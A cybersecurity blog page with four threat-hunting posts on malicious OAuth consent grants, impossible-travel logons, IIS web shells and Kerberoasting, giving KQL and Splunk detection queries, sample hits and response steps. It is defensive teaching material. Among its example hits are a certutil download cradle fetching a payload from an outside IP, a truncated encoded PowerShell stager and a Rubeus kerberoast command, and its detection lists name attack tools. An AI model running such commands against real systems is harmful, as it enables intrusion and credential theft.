Skip to content
HackInvasionCybersecurity Knowledge Hub
Showing posts with label Threat Hunting. Show all posts
Showing posts with label Threat Hunting. Show all posts

The Consent Trap: Hunting Malicious OAuth App Grants in Microsoft 365

Glowing blue cloud icon connected to a ring of network nodes and locks, with a red malicious node injecting an attack from the right, symbolizing a malicious OAuth app consent grant

Case file TH-006.
Nobody installed anything. No malware hit the disk, no suspicious logon tripped an alert, and the user's MFA is intact. Yet for three weeks, every email that landed in Priya's inbox was quietly copied to an external server. The entry point was a single click on a link that looked like a DocuSign request. The prompt said "Invoice Portal wants to read your mail — Accept?" She accepted. That was the whole attack.

This is the illicit consent grant pattern, and it is one of the hardest intrusions to spot with traditional endpoint telemetry. The attacker never touches the workstation. They register an application in their own Entra tenant, dress it up with a trustworthy name and logo, and phish your users into granting it delegated permissions to your data — Mail.ReadWrite, Files.ReadWrite.All, offline_access. From then on, the app talks to the Microsoft Graph API with a perfectly valid OAuth token. No password, no MFA prompt, nothing for the firewall to see.

This hunt looks for exactly that moment of consent — and for the consents that should never have happened.

The hypothesis

If an attacker has phished users into granting OAuth consent to a malicious application, then the Entra audit log will show user-level (non-admin) consent grants to apps requesting high-privilege Graph permissions — especially mail and file scopes — from apps with unverified publishers, recent registrations, or consents clustered around a phishing lure.

Data you'll need

SourceWhat it gives you
AuditLogs (Sentinel, Azure AD connector)Every consent grant: OperationName == "Consent to application", the consenter, the app, and the scopes granted.
CloudAppEvents (Defender for Cloud Apps)What the app did after consent — Graph calls, mail reads, file downloads by the service principal.
IdentityInfoDepartment/title of the consenter — attackers love finance and executive assistants.
Splunk: index=ms365 (O365 add-on)Unified Audit Log: Workload="AzureActiveDirectory", Operation="Consent to application*".

Hunting with KQL

This query surfaces consent grants where the app asked for scopes an attacker would actually want. Consent type matters: AllPrincipals means an admin consented tenant-wide (higher blast radius), while Principal means a single user clicked accept (the classic phishing pattern).

// Hunt H-OAUTH-01: user consent grants to apps requesting attacker-grade scopes
let RiskyScopes = dynamic([
    "Mail.ReadWrite", "Mail.Send", "Files.ReadWrite.All", "Sites.FullControl.All",
    "Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory",
    "Application.ReadWrite.All", "DelegatedPermissionGrant.ReadWrite.All",
    "User.ReadWrite.All", "Calendars.ReadWrite", "offline_access"
]);
AuditLogs
| where TimeGenerated > ago(14d)
| where OperationName == "Consent to application"
| extend Consenter   = tostring(InitiatedBy.user.userPrincipalName),
         AppId      = tostring(TargetResources[0].id),
         AppName    = tostring(TargetResources[0].displayName),
         RawTargets = tostring(TargetResources)
| extend ConsentType = extract(@"ConsentType[^A-Za-z]*([A-Za-z]+)", 1, RawTargets),
         Scopes      = extract(@"ConsentAction\.Permissions[^A-Za-z]*([^\]]+)", 1, RawTargets)
| where Scopes has_any (RiskyScopes)
    or (ConsentType == "AllPrincipals" and Scopes has "Mail.")
| project TimeGenerated, Consenter, AppName, AppId, ConsentType, Scopes, CorrelationId
| order by TimeGenerated desc

What this does, in plain English: it pulls two weeks of Entra audit logs, keeps only consent-grant events, and reconstructs who consented, to which app, and which permissions were handed over. It then keeps the grants that match known-dangerous Graph scopes — or any tenant-wide admin consent touching mail. Sort newest-first, because in a live intrusion the freshest consent is usually the attacker's.

Walkthrough: how the query reads the evidence
  • OperationName == "Consent to application" is the exact audit footprint of an OAuth consent. No consent prompt accepted, no event.
  • InitiatedBy.user.userPrincipalName identifies the human who clicked Accept — the phishing victim.
  • TargetResources[0] holds the app's identity and a modifiedProperties bag containing ConsentType (user vs. tenant-wide) and the granted permission list.
  • The extract() calls pull those two values out of the JSON without brittle positional parsing.
  • Filtering on RiskyScopes is the triage shortcut: a calendar-sync app asking for Calendars.Read is noise; the same app asking for Mail.ReadWrite + offline_access is a case.

Example: what a true positive looks like

FieldValueWhy it matters
TimeGenerated2026-09-21 14:03:11 UTC40 minutes after a reported phishing email to the same user
Consenterpriya.nair@contoso.com (Finance)High-value mailbox, non-admin user consent (Principal)
AppName / AppId"Invoice Portal" / 3f9a…c21dApp registered 6 days ago, publisher unverified
ScopesMail.ReadWrite, Files.ReadWrite.All, offline_accessSilent, persistent mailbox + file access; no legitimate need for an "invoice" app

Hunting with Splunk

The equivalent hunt against the Microsoft 365 Unified Audit Log. This version leans on rarity: apps that almost nobody in the tenant has consented to are where the malicious grants hide.

index=ms365 Workload="AzureActiveDirectory" Operation="Consent to application*"
| eval risky=if(match(Parameters,"(?i)Mail\.ReadWrite|Mail\.Send|Files\.ReadWrite\.All|Directory\.ReadWrite\.All|RoleManagement\.ReadWrite\.Directory|Application\.ReadWrite\.All"),"yes","no")
| stats count as consents, values(UserId) as consenters, values(ClientIP) as src_ips,
        earliest(_time) as first_seen, latest(_time) as last_seen,
        values(risky) as touched_risky_scopes by ObjectId
| where consents <= 3 AND touched_risky_scopes="yes"
| sort - first_seen

What this does, in plain English: for every app object that received consent, it counts how many consent events exist and who granted them. Apps consented to three times or fewer that also requested attacker-grade scopes bubble to the top — that is the profile of a targeted phishing lure, not an enterprise rollout.

Example hit

ObjectId=3f9a…c21d  consents=1  consenters=priya.nair@contoso.com
src_ips=203.0.113.44  first_seen=2026-09-21 14:03:11  touched_risky_scopes=yes

One user, one consent, risky scopes, source IP in a consumer ISP range rather than the corporate egress — open the case.

Validating the hit

  1. Inspect the app in Entra. Check publisher verification, app registration age, homepage URL, and whether the consent was user-level or admin-level. A 6-day-old app with an unverified publisher and a lookalike name is damning.
  2. Interview the consenter (gently). Ask whether they remember the prompt and what link led them there. Correlate with phishing reports and the user's inbox around the consent timestamp.
  3. Follow the app's hands, not just the consent. In CloudAppEvents, filter on the service principal and look for Graph reads of mail and file downloads after the consent time. Consent without subsequent API abuse is still a finding, but consent with mailbox reads is an incident.
  4. Measure the blast radius. Search for other consent events to the same AppId — including AllPrincipals grants. One phished user is a compromise; a tenant-wide grant is a breach.

Tuning out false positives

  • Verified enterprise SaaS (Zoom, Salesforce, ServiceNow, DocuSign): verified publishers with admin-consented, tenant-wide grants are expected. Maintain an allowlist of known AppId values.
  • Admin-consented rollouts: a spike of consents to one app on one day usually means IT deployed something. Correlate with change tickets before opening a case.
  • Low-risk scopes: User.Read, openid, profile are the background radiation of modern SaaS — filter them out of the triage view, not out of the data.
  • Microsoft first-party apps: Teams, Outlook add-ins, and Power Platform connectors generate consent events constantly; exclude publisher Microsoft Corporation after one sanity check.

What to do next

  • Revoke the consent immediately — in Entra admin center under Enterprise Applications, or via Graph: delete the oAuth2PermissionGrant and disable the service principal so existing tokens die.
  • Contain the consenter's account: revoke sessions, rotate credentials, and review mailbox rules and forwarding the attacker may have planted.
  • Block the pattern: tighten the user-consent policy (e.g., allow only verified publishers or require admin consent workflow), and block the app's AppId tenant-wide.
  • Hunt the lure: find the phishing message that delivered the consent link and pull it from every inbox it reached — then search for other consent grants in the same time window.

The evidence is always in the audit log — the attacker just bets you never look at it. — Amit Vijayan

Impossible Travel: Hunting Compromised Identities With Geospatial Logon Velocity

Dark illustration of a glowing world map with blue travel arcs connecting distant cities, symbolizing impossible-travel logon detection across geographies

At 09:12 the user signed in from Toronto. At 09:47 the same user signed in from Lagos. Commercial flight time between the two cities: roughly twelve hours. The user does not own a supersonic jet — but the attacker owns their session cookie, and that is all this signal is really measuring. Impossible travel is not about travel at all. It is about physics: two authentications happened too far apart, too close together, for one human to have produced both.

Session-token theft, credential stuffing, and phishing kits all produce this artifact. The attacker signs in with stolen credentials or a replayed token from infrastructure on another continent, while the legitimate user keeps signing in normally from home. Neither logon alone looks malicious — the anomaly only exists in the relationship between the two. That makes impossible travel a genuinely threat-hunting-shaped problem: no signature fires, but the geometry does not add up.

The hypothesis

An identity is under active attack when two successful logons for the same account originate from geographies separated by a distance that cannot be covered in the elapsed time — a velocity no legitimate user can achieve, most commonly caused by session-cookie theft or credential replay.

Data you'll need

  • Microsoft Sentinel / Defender: IdentityLogonEvents (Defender for Identity / Entra logons with Location and LocationDetails), enriched with IP geolocation.
  • Splunk: Entra / Azure AD sign-in logs (sourcetype="azure:aad:signin" or your connector's equivalent) with location and ipAddress fields; iplocation for enrichment when fields are missing.
  • Context data: known VPN/proxy egress ranges (they are the number-one source of fake "travel"), and the user's normal home geography.

Hunting with KQL

This query computes the velocity between each pair of consecutive logons per user and flags anything faster than a commercial airliner:

// Impossible-travel hunt: geospatial logon velocity
IdentityLogonEvents
| where TimeGenerated > ago(14d)
| where LogonResult == "Success"
| where isnotempty(Location) and isnotempty(LocationDetails)
| extend Lat = todouble(LocationDetails.Latitude),
         Lon = todouble(LocationDetails.Longitude)
| where isnotnull(Lat) and isnotnull(Lon)
| order by AccountUpn asc, TimeGenerated asc
| extend PrevTime = prev(TimeGenerated, 1),
         PrevLat  = prev(Lat, 1),
         PrevLon  = prev(Lon, 1),
         PrevIP   = prev(IPAddress, 1)
| where AccountUpn == prev(AccountUpn, 1)      // same user, consecutive logons
| extend DeltaMinutes = datetime_diff("minute", TimeGenerated, PrevTime)
| extend DistanceKm   = geo_distance_2points(Lon, Lat, PrevLon, PrevLat) / 1000
| extend VelocityKph  = iff(DeltaMinutes > 0, DistanceKm / (DeltaMinutes / 60.0), 0)
| where VelocityKph > 1000                    // faster than any real itinerary
| where DistanceKm > 500                      // ignore same-city GPS jitter
| project TimeGenerated, AccountUpn, IPAddress, Location,
          PrevIP, PrevTime, DistanceKm, DeltaMinutes, VelocityKph,
          Application, DeviceName
| order by VelocityKph desc

What this does: for each user it walks logons in chronological order, measures the great-circle distance (geo_distance_2points returns meters, hence the / 1000) between consecutive logons, and divides by the elapsed time. The 1,000 km/h bar is deliberately above any plausible commercial flight — it selects for physics violations, not business trips. The 500 km floor suppresses same-city geolocation jitter, which is the largest noise source in IP-based geo data.

Example true-positive row:

AccountUpna.chen@corp.local
PrevTime → TimeGenerated09:12 → 09:47 (35 min apart)
PrevIP → IPAddress172.16.8.40 (Toronto) → 197.210.55.19 (Lagos)
DistanceKm / VelocityKph9,200 km at ~15,800 km/h
Application / DeviceNameOffice 365 / unknown device

The user did not commute to Lagos for their 09:47 email check. Someone else holds a valid session.

Tightening the net: add device-trust and MFA context

A velocity hit is far more damning when the "traveling" logon comes from an unknown device with a fresh session. Extend the project with LogonType, DeviceDetail, and MFA outcome fields if your logon stream carries them — a logon from Lagos with no MFA challenge on a brand-new session is the classic fingerprint of a replayed session cookie (pass-the-cookie), because cookie replay skips the MFA step entirely.

Hunting with Splunk

A summary-based equivalent against Entra sign-in logs — it finds accounts with successful logons from multiple countries in a short window:

index=azuread sourcetype="azure:aad:signin" result=0 earliest=-14d
| eval ip=coalesce(ipAddress, IPAddress)
| iplocation ip
| stats earliest(_time) as first, latest(_time) as last,
        dc(Country) as countries, values(Country) as country_list,
        values(City) as city_list, values(ip) as ips,
        dc(userPrincipalName) as u
        by userPrincipalName
| where countries > 1 AND (last - first) < 3600
| eval window_min = round((last - first)/60, 1)
| sort - countries, window_min
| table userPrincipalName, first, last, window_min, countries,
        country_list, city_list, ips

What this does: enriches each sign-in with country/city via iplocation, then rolls up per user and keeps only accounts that hit more than one country within a single hour. It is coarser than the KQL velocity math, but it is fast, easy to schedule, and excellent for a first pass across the tenant. Note the private-IP caveat: iplocation cannot geolocate RFC-1918 addresses, so pair this with a filter on public IPs if your sign-in stream mixes on-prem and cloud events.

Example hit: one row for a.chen@corp.local with country_list = Canada, Nigeria, window_min = 35, and two distinct public IPs — the same conclusion, reached with less geometry.

Validating the hit

  1. Rule out the boring explanations first. Check both IPs against your VPN egress ranges, cloud-access proxies (Zscaler, Cloudflare), and the user's mobile carrier — corporate egress is the single biggest source of fake travel.
  2. Inspect the suspicious session. Was MFA challenged? A successful logon on a new device/session with no MFA prompt strongly suggests a stolen session token rather than a stolen password.
  3. Look for post-logon abuse. Review what the Lagos session actually did — mailbox rules created, OAuth app grants, data downloads, or password-reset attempts are the attacker's to-do list, and they tell you the blast radius.
  4. Ask the human. A 30-second check with the user ("Were you in Lagos at 09:47?") is the fastest ground truth available, and it works even when the telemetry is ambiguous.

Tuning out false positives

  • Corporate VPN / SASE egress — the Lagos IP may be the company's own egress node; maintain an allowlist of known egress ranges and join it into the query.
  • Traveling executives — a flight from Toronto to London is not impossible travel; the velocity math already tolerates this, but short-hop business travel across nearby borders can still cluster. Baseline frequent travelers or widen the window.
  • Mobile carrier NAT — some carriers egress through another country; these appear as low-velocity, low-confidence hits — combine with device familiarity to dismiss.
  • Satellite internet and remote offices — users on satellite links or behind regional office NATs geolocate oddly; the 500 km floor in the KQL handles most of this.

What to do next

For a validated hit, act on the session, not just the password: revoke all active sessions and refresh tokens, force a password reset, and require re-authentication on a compliant device — because a password change alone does not kill a stolen session cookie. Then investigate the token-theft vector: check for recent infostealer activity on the user's endpoints, phishing clicks in the preceding days, or adversary-in-the-middle patterns (a successful MFA push the user does not remember approving is a classic). Finally, promote the hunt: schedule the KQL as a weekly analytics rule, and consider pairing it with a companion hunt for anomalous first-time device logons — impossible travel catches the thief; device anomaly often catches how they got in.

Web Shells on IIS: When w3wp.exe Starts Running cmd.exe, Someone Is Already Inside

Dark illustration of a server tower entangled in red tentacle-like network cables amid green digital particles, symbolizing a web shell compromise on an IIS server

There is a special kind of silence on an IIS server right after it has been compromised: the site still serves pages, the app pool still recycles on schedule, and the only thing that changed is a 3 KB .aspx file sitting in a folder nobody audits. A web shell does not crash anything. It just waits for a POST request with the right parameter — and then it hands the attacker a command shell running as the application pool identity.

The initial-access story varies — an unpatched upload endpoint, a deserialization bug, a misused msdeploy publish profile — but the execution story is almost always the same: the IIS worker process, w3wp.exe, spawns cmd.exe or powershell.exe. That parent-child relationship is the single most reliable forensic signal of a live web shell, because a healthy application pool almost never does that.

The hypothesis

An attacker has achieved code execution through an IIS-hosted application and planted or invoked a web shell, detectable as the IIS worker process (w3wp.exe) spawning command shells, script hosts, or encoded PowerShell — behavior with no legitimate counterpart in normal web serving.

Data you'll need

  • Microsoft Sentinel / Defender: DeviceProcessEvents (process creation with parent lineage), DeviceFileEvents (new files under inetpub\wwwroot), and IIS logs if forwarded.
  • Splunk: Sysmon or Windows Security EventCode=4688 (process creation with command-line auditing enabled), Sysmon EventCode=1/11, or the Endpoint data model.
  • Context data: the IIS site's expected webroot paths and the normal app-pool identity list.

Hunting with KQL

The core hunt is a process-lineage query — a child spawned by the worker process:

// Web-shell hunt: w3wp.exe spawning shells or script hosts
DeviceProcessEvents
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe",
                     "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe")
| project TimeGenerated, DeviceName,
          InitiatingProcessAccountName,
          InitiatingProcessCommandLine,
          FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated desc

What this does: it looks for any process whose parent is the IIS worker process and whose executable is a shell or script host. In practice, hits here are rare and precious — I would treat any single result as an active incident until proven otherwise. The ProcessCommandLine column usually reveals the shell's purpose: whoami, certutil -urlcache downloads, or base64-encoded PowerShell (-EncodedCommand) are the classics.

A second KQL pass catches the shell file landing on disk — because a web shell is, at its core, just a file write to a webroot:

// Web-shell file-drop hunt: new script files under IIS webroots
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any (@"\inetpub\wwwroot", @"\wwwroot")
| where FileName endswith ".aspx" or FileName endswith ".ashx"
    or FileName endswith ".asmx" or FileName endswith ".asp"
| where InitiatingProcessFileName !in~ ("msdeploy.exe", "dotnet.exe", "devenv.exe")
| project TimeGenerated, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessAccountName
| order by TimeGenerated desc

Example true-positive row (first query):

DeviceNameWEB01
InitiatingProcessFileNamew3wp.exe (IIS APPPOOL\Portal)
FileNamepowershell.exe
ProcessCommandLinepowershell -nop -w hidden -enc aQBmACgAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0ACkA…
TimeGenerated2026-09-26 03:14 UTC

Decoding that base64 blob is your next five minutes of work — it is almost always a downloader or a stager.

Tracing the initial access: what was in the IIS log?

Correlate the shell's creation timestamp against the IIS W3SVC logs on WEB01 (usually C:\inetpub\logs\LogFiles\W3SVC1). Look for POST requests to the shell's path, unusual PUT/DELETE methods, msdeploy.axd access, or a burst of POSTs to an upload handler minutes before the file appeared. The upload request's source IP is the attacker's real foothold — pivot there for scanning and staging activity.

Hunting with Splunk

The same hunt against 4688 process-creation events (this assumes command-line auditing is enabled — GPO: Audit Process Creation > Include command line):

index=wineventlog EventCode=4688 ParentImage="*\\w3wp.exe"
    Image IN ("*\\cmd.exe", "*\\powershell.exe", "*\\cscript.exe",
              "*\\wscript.exe", "*\\mshta.exe", "*\\rundll32.exe")
| table _time, Computer, Account_Name, ParentImage, Image, CommandLine
| sort - _time

What this does: pulls every child process of the IIS worker process that matches a shell or script-host executable, with the full command line. In the Endpoint data model the equivalent is:

| tstats `security_content_summariesonly` count, values(Processes.process) as processes
  from datamodel=Endpoint.Processes
  where Processes.parent_process_name="w3wp.exe"
        Processes.process_name IN ("cmd.exe","powershell.exe","cscript.exe","wscript.exe","mshta.exe")
  by Processes.dest, Processes.user

Example hit: a single WEB01 row where Image=C:\Windows\System32\cmd.exe and CommandLine=cmd.exe /c certutil -urlcache -split -f http://203.0.113.44/svchost.bin C:\Windows\Temp\up.exe — a textbook web-shell download cradle.

Validating the hit

  1. Find the shell on disk. Locate the .aspx/.ashx file (use the file-drop query or Sysmon EventCode 11), hash it, and read its source — the parameter name and the eval/exec call confirm it. Note its creation and last-modified times to bound the compromise window.
  2. Decode the command lines. Base64-decode any -EncodedCommand payloads; grep cmd.exe invocations for certutil, bitsadmin, or Invoke-WebRequest download cradles.
  3. Reconstruct initial access. Review IIS logs around the shell's creation time for the upload or exploit POST; that tells you whether this was a file-upload flaw, a deserialization bug, or a stolen publish credential — which decides what else is exposed.
  4. Check for persistence and pivoting. Look at outbound connections from WEB01 in the compromise window (DeviceNetworkEvents / firewall logs) and at new scheduled tasks or services (4698 / 7045) — web shells are usually the beachhead, not the objective.

Tuning out false positives

  • Deployment pipelines — msdeploy.exe, Azure DevOps agents, and Octopus Deploy tentacles legitimately write .aspx files to webroots; exclude by the initiating process or the deploy service account.
  • Developer tooling on staging servers (Visual Studio remote debugging, dotnet watch) can trigger file-drop hits; keep staging scopes separate from production hunts.
  • Health-check scripts invoked by monitoring occasionally run under an app-pool identity; they almost never spawn interactive shells from w3wp.exe, so the process-lineage query stays quiet.

What to do next

Isolate WEB01 from the network but keep it powered on (memory may hold the attacker's session). Preserve the shell file, the IIS logs, and a disk image for forensics. Patch the exploited vulnerability before the server goes back online — a restored web shell without a patched entry point is just an invitation to return. Rotate every credential the app pool identity could touch: database connection strings, service accounts, and any secrets in the application's config. Finally, promote this hunt to a standing detection: an alert on any w3wp.exe → cmd.exe/powershell.exe lineage is one of the cheapest, highest-fidelity rules you can run on a Windows web estate.

Hunting Kerberoasting: When RC4 Ticket Requests Betray the Attacker

Dark illustration of a vintage computer with golden glowing keys linked in a network constellation above it, symbolizing Kerberoasting service ticket requests

The ticket was legitimate. The request was legitimate. That is exactly why Kerberoasting is so hard to spot — the attacker never forges anything, never touches LSASS, never trips an AV signature. They simply ask the domain controller, politely, for a service ticket to a SQL server, take the ticket home, and crack it offline at their leisure. This investigation is about finding the moment they ask.

Kerberoasting targets service accounts whose passwords can be brute-forced offline. Because the ticket is encrypted with the service account's password hash (RC4), anyone who can request a ticket for that service principal name (SPN) gets a free, crackable copy of the hash. The signal is almost always Event ID 4769 — a Kerberos Service Ticket Operation — with RC4 (0x17) encryption, fired off in volume from a workstation that has no business requesting tickets for dozens of services.

The hypothesis

A compromised or malicious user account is requesting service tickets encrypted with the weak RC4 cipher for many different SPNs in a short window — the classic footprint of an offline-cracking (Kerberoasting) enumeration, most often driven by tools like Rubeus or Mimikatz.

Data you'll need

  • Microsoft Sentinel / Defender: SecurityEvent (EventID 4769) from domain controllers, plus DeviceProcessEvents for Rubeus/Mimikatz process execution.
  • Splunk: index=wineventlog (or your Windows Security event index) with EventCode 4769, or the Authentication data model.
  • Context data: SPN-to-service inventory (which service accounts should be ticketed, and by whom).

Hunting with KQL

RC4 is the tell. Modern Windows prefers AES, so a burst of RC4-encrypted TGS requests is worth an investigator's attention:

// Kerberoasting hunt: RC4 service-ticket requests (4769)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"      // RC4-HMAC: the offline-crackable flavor
| where ServiceName !~ "krbtgt"            // exclude the TGT service itself
| where AccountName !~ "krbtgt"
| summarize Requests = count(),
            UniqueSPNs = dcount(ServiceName),
            SPNs = make_set(ServiceName, 25),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
            by AccountName, Computer, IpAddress
| where Requests >= 10 and UniqueSPNs >= 3
| extend WindowMinutes = datetime_diff("minute", LastSeen, FirstSeen)
| project AccountName, Computer, IpAddress, Requests, UniqueSPNs, WindowMinutes, FirstSeen, LastSeen, SPNs
| order by Requests desc

What this does: it isolates Kerberos TGS requests (4769) encrypted with RC4, then rolls them up per requesting account and source machine. The thresholds do the discriminating work — a normal user touches one or two services over a day; an attacker tool like Rubeus kerberoast hammers dozens of SPNs in minutes. dcount(ServiceName) on the SPN field is the key discriminator between a user with one mapped drive and an attacker harvesting a full SPN list.

Example true-positive row:

AccountNamej.doe
ComputerWS-1142
IpAddress10.4.22.17
Requests / UniqueSPNs47 requests to 31 distinct SPNs
WindowMinutes11 minutes
SPNs (sample)MSSQLSvc/sql01.corp.local:1433, HTTP/webapp02.corp.local, CIFS/filesrv03.corp.local …

A standard user account requesting 47 RC4 tickets across 31 services in 11 minutes from a workstation is not normal logon behavior — it is the harvest phase.

Field walkthrough: corroborating with the Rubeus process

Once the 4769 burst is identified, pivot to the source workstation in DeviceProcessEvents:

DeviceProcessEvents
| where DeviceName == "WS-1142"
| where TimeGenerated between (datetime("2026-09-26 02:00") .. datetime("2026-09-26 03:30"))
| where FileName in~ ("Rubeus.exe", "powershell.exe")
    or ProcessCommandLine has_any ("kerberoast", "asktgt", "tgtdeleg", "Mimikatz")
| project TimeGenerated, FileName, ProcessCommandLine, InitiatingProcessFileName, AccountName

A hit here — e.g., Rubeus.exe kerberoast /outfile:hashes.txt — upgrades the finding from "suspicious ticket pattern" to a confirmed attack tool on the box.

Hunting with Splunk

The same logic against Windows Security events in Splunk:

index=wineventlog EventCode=4769 TicketEncryptionType=0x17 ServiceName!="krbtgt*"
| stats count as requests, dc(ServiceName) as unique_spns,
        values(ServiceName) as spns, min(_time) as first, max(_time) as last
        by AccountName, Computer, IpAddress
| where requests >= 10 AND unique_spns >= 3
| eval duration_min = round((last - first)/60, 1)
| sort - requests
| table AccountName, Computer, IpAddress, requests, unique_spns, duration_min, first, last, spns

What this does: filters to EventCode 4769 with RC4 encryption, groups by the requesting account and source, and applies the same volume-plus-diversity threshold. Watch for field-name drift — in some CIM-normalized sources the encryption field may appear as Ticket_Encryption_Type; normalize it with an alias before the where clause if needed.

Example hit: a single row for j.doe / WS-1142 showing requests=47, unique_spns=31, duration_min=11. In a small environment, expect this search to return only a handful of rows — review each one.

Validating the hit

  1. Verify the SPNs are real. Confirm the requested service names map to genuine domain SPNs (use setspn -Q or your SPN inventory). Attackers sometimes request SPNs that don't exist — both patterns are worth flagging.
  2. Check the workstation. Look at the 11-minute window on WS-1142 for process creation (4688): Rubeus, Mimikatz, renamed binaries, or PowerShell with -EncodedCommand.
  3. Profile the account. Is j.doe an IT admin who might legitimately test tools, or a finance user whose credentials were stolen last week? Cross-reference recent 4624/4672 logons and any password-change activity.
  4. Check whether the crack succeeded. Look for anomalous logons as the service accounts in the hours after the ticket burst — that is how you find out whether the attacker actually recovered a password.

Tuning out false positives

  • Legacy applications that only speak RC4 will generate steady, low-volume 4769/0x17 traffic to one or two SPNs — the volume and SPN-diversity thresholds exclude them by design.
  • Vulnerability scanners (Tenable, Qualys agents) sometimes enumerate SPNs aggressively; baseline your scanner service accounts and source hosts so you can exclude them with a watchlist.
  • Administrative tooling that touches many services at once (backup agents, monitoring) can look bursty — allowlist by known account/host pairs rather than by encryption type alone.
  • Non-Windows Kerberos clients defaulting to RC4 may inflate single-SPN counts; the unique-SPN threshold is what saves you here.

What to do next

If the hit validates, treat every ticketed service account as potentially compromised: rotate the service-account passwords immediately (long, random — 25+ characters), review SPN registrations for tampering, and force re-authentication of j.doe. Longer-term, disable RC4 for Kerberos where possible (AES is supported everywhere that matters in 2026), add this 4769/0x17 pattern as a standing detection rule, and consider alerting on SPN enumeration (rapid 4769 bursts) as its own analytic — because by the time the cracking finishes, the lateral movement has already started.

Amit Vijayan

Amit Vijayan
Hack Ethically

About Me


I am an engineering student and i am very dedicated about Ethical Hacking. I have been learning "Ethical Hacking" for about 4 years now.
Though I'am not a pro hacker but also not a noob. I have enough knowledge to give others like me, a start for their Ethical Hacking & Cyber Security. As i keep learning new things, i keep updating them on the blog from basic to advanced level.
I started Ethical Hacking as a hobby which has now turned into my passion and i'am sure i will turn it into my profession through this blog.

Always be an Ethical Hacker.